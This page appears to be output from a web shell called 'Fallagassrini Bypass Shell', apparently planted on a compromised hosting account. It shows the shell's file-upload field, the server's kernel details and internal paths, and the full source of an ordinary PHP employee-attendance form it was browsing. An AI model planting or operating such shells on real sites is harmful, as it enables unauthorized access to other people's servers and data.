? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/busybees/application/views/hr/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/busybees/application/views/hr/edit_employee_attendence.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');


?>

<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('hr','viewinhrsearch','search_employee_attendence','view_employee_attendence','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Updating Employee Attendance</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('hr/addinhr/update_employee_attendance/view_employee_attendence/1', $attributes);
?>
<div class="clean"></div>
<div class="grid_6">
    <div class="box">
        <div class="header">
            <h3>Employee Attendance </h3>
            <span></span>
        </div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Attendance Date</label>
                <div>
                    <input name="employee_attendance_date" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->employee_attendance_date) ?>" id="employee_attendance_date" type="text" class="required calfocus"/>
                </div>
            </div>
            <div class="section _100">
                <label>Remarks </label>
                <div>
                    <textarea name="employee_attendance_remarks" id="employee_attendance_remarks" type="text"><?= $viewinfo->employee_attendance_remarks ?></textarea>
                </div>
            </div>
        </div>
    </div>
</div>
<div class="grid_12" >
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">Employee  Attendance Details</div>
            <table class="table" id="stud_sub">
                <thead id="stud_sub_head">
                    <tr>
                      
                        <td style="text-align: center;" >Employee Name</td>
                        <td style="text-align: center;" >Attendance Status</td>
                        <td style="text-align: center;">Time In</td>
                        <td style="text-align: center;">Time Out</td>
                        <td style="text-align: center;">Remarks</td>
                    </tr>

                </thead>
                <tbody>
                    <?php
                    
                    $employee_attendence_details=$this->hrmodel->employee_attendence_details($viewinfo->employee_attendance_id);
                    
                    $i     = 1;
                    foreach ($employee_attendence_details as $row)
                    {
//                       $start_time = explode(":", $viewinfo->employee_attendance_in_time);
//$end_time = explode(":", $viewinfo->employee_attendance_out_time); 
                        ?>
                        <tr>
                           
                            <td>
                                <?= $row['employee_name']; ?><input type="hidden" value="<?= $row['employee_id']; ?>" name="employee_id<?= $i ?>">
                            </td>
                            <td>
                                <select name="employee_attendance_status<?= $i ?>" class="required chzn-done" >
                        <option value="">--Select--</option>
                        <option value="P" <?php
                    if ($row['employee_attendance_status'] == "P") {
                        echo "selected";
                    }
                    ?>>Present</option>
                        <option value="L" <?php
                                if ($row['employee_attendance_status'] == "L") {
                                    echo "selected";
                                }
                    ?>>Leave</option>
                        <option value="A" <?php
                                if ($row['employee_attendance_status'] == "A") {
                                    echo "selected";
                                }
                    ?>>Absent</option>
                    </select>
                               
                            </td>
                            <td>
                                  <?php echo createHours('start_time_hour'.$i, substr($row['employee_attendance_in_time'], 0, 2)); ?>
                                    <?php echo createMinutes('start_time_minute'.$i, substr($row['employee_attendance_in_time'], 3, 2)); ?>
                                
                            </td>
                            <td>
                                 <?php echo createHours('end_time_hour'.$i, substr($row['employee_attendance_out_time'], 0, 2)); ?>
                                    <?php echo createMinutes('end_time_minute'.$i, substr($row['employee_attendance_out_time'], 3, 2)); ?>
                               
                            </td>
                            <td>
                                <textarea name="employee_attendance_details_remarks<?= $i ?>" id="employee_attendance_details_remarks" type="text"><?= $row['employee_attendance_details_remarks'];?></textarea>
                            </td>
                        </tr>
                        <?php
                        $i++;
                        }
                    ?>
                </tbody>
            </table>

<div class="grid_12" >
    <div class="box">
        <div class="actions">
            <div class="actions-left">
                <input type="reset">
                <input name="employee_attendance_id" id="employee_attendance_id" type="hidden" value="<?= $viewinfo->employee_attendance_id ?>"/>
            </div>
            <div class="actions-right">
                <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
            </div>
        </div>
    </div>
</div>

<?php echo form_close(); ?>
<script defer type="text/javascript">
    $(document).ready(function()
    {
        $('.calfocus').datepick(
        {
            
            dateFormat: 'dd-mm-yyyy',
            onSelect: function(dateText){
                var date = $.datepicker.formatDate( "yy-mm-dd", new Date(dateText));
                var $this = $(this);
                $.ajax({
                    type: "POST",
                    data : {'date' : date},
                    url: "<?= site_url('hr/datecheck/') ?>/",
                    success: function(data){
                        if(data == 1)
                        {
                           alert('attendance already added! \n\r please select diffrent Date');
                           $this.val("");
                        }
                    }
                });
                
               
            }
        });
  
        
    });
</script>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net